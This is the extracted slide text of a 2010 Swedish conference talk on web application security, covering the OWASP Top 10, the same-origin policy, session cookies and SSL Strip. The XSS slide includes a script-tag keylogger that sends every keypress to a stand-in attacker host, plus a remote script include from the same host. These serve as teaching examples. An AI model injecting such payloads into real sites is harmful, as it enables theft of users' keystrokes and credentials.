Säkerhet i applikationslagret och slaget om webben John Wilander, Omegapoint, Rätt säkerhet, maj 2010
John Wilander, konsult Omegapoint Forskar inom mjukvarusäkerhet Leder svenska OWASP Certifierad inom Javautveckling och Security Development Lifecycle OWASP En öppen, icke-kommersiell community för alla som utvecklar, förvaltar eller köper webbapplikationer med höga säkerhetskrav
IT-säkerhet Systemutveckling
IT-säkerhet Applikationssäkerhet Systemutveckling
Var på jorden är det viktigt att utveckla säker programkod?
Windows, Office
Cisco-routers
SAP
Applikationer!
2010 Rich Internet Applications
Applikationer utvecklas överallt
Hemsidor övergår i webbapplikationer
Webbapplikationer exponeras för Internet
Alla utvecklare måste förstå säkerhet
OWASP Top 10 Top web application security risks 2010
1. Injection 2. Cross-Site Scripting (XSS) 3. Broken Authentication and Session Management 4. Insecure Direct Object References 5. Cross-Site Request Forgery (CSRF) 6. Security Misconfiguration 7. Insecure Cryptographic Storage 8. Failure to Restrict URL Access 9. Insufficient Transport Layer Protection 10.Unvalidated Redirects and Forwards
<script> document.onkeypress = function(e) { new Image().src = 'http://elak.se/log.php?k=' + String.fromCharCode(e.charCode) } </script>
<script src= http://elak.se/hack.js > </script>
1. Injection 2. Cross-Site Scripting (XSS) 3. Broken Authentication and Session Management 4. Insecure Direct Object References Läs 5. hela Cross-Site pdf:en Request på http://www.owasp.org/index.php/ Forgery (CSRF) 6. Security Category:OWASP_Top_Ten_Project Misconfiguration 7. Insecure Cryptographic Storage 8. Failure to Restrict URL Access 9. Insufficient Transport Layer Protection 10.Unvalidated Redirects and Forwards
Skyddsvärda fundament för säkra webbapplikationer
Same Origin Cookies Policy SSL
Same Origin Policy
banken.se aktieinfo.de
banken.se aktieinfo.de Köp
banken.se aktieinfo.de Köp
banken.se aktieinfo.de Köp
Same Origin Policy banken.se aktieinfo.de Köp
banken.se aktieinfo.de Köp
Same Origin Policy banken.se aktieinfo.de Köp
Kringå Same-Origin Policy Kommunicera server-side Använd JSONP JSON with Padding Sätt gemensam document.domain
banken.se aktieinfo.banken.se Köp
banken.se aktieinfo.banken.se Köp
banken.se aktieinfo.banken.se Skadligt skript
banken.se aktieinfo.banken.se
banken.se aktieinfo.de
Men vi ville ju integrera :(
Content Security Policy (förslag från Mozilla) banken.se aktieinfo.de Vitlista på källor för skript
Content Security Policy (förslag från Mozilla) banken.se aktieinfo.de Vitlista på källor för skript
Cookies
HTTP tillståndslöst GET http://www.sajt.se/ HTTP/1.1 HTTP/1.1 200 OK
HTTP tillståndslöst GET http://www.sajt.se/ HTTP/1.1 HTTP/1.1 200 OK
Att hålla en session Sessions-ID i URL www.sajt.se/ ;sessionid=1234 Sessions-ID i gömda formulärfält <INPUT TYPE= hidden NAME= sessionid VALUE= 1234 > Sessions-ID i kaka Set-Cookie: sessionid= 1234
HTTP + session GET http://www.sajt.se/ HTTP/1.1 HTTP/1.1 200 OK
Sessionsattacker Cookie replay (återanvända) Cookie poisoning (skapa eller manipulera) Cookie hijacking (stjäla) Session fixation (sätta kaka åt offret)
Sessionsskydd Secure (bara skicka krypterat) HTTPOnly (ej tillgänglig för skript) Inget hemmasnickrat
SSL
Var är hänglåset?
<div class="menu_login_container"><form method="post" action="https:// login.facebook.com/login.php?login_attempt=1" id="login_form">
<div class="menu_login_container"><form method="post" action="https:// login.facebook.com/login.php?login_attempt=1" id="login_form"> Samma källkod? JavaScript som sniffar?
Moxie s SSL Strip Avbryter SSL Gör om https till http Normal https till servern Agerar klient
SSL Strip & Tor-nätet
SSL Strip & Tor-nätet login.yahoo.com Gmail Hotmail PayPal 114 50 13 9 På 24 h
Antal som avbröt pga saknad kryptering: 0
Same Origin Cookies Policy SSL
Same Origin Content Policy Security Policy Cookies Äkta sessioner? SSL DNSSec?
john.wilander@omegapoint.se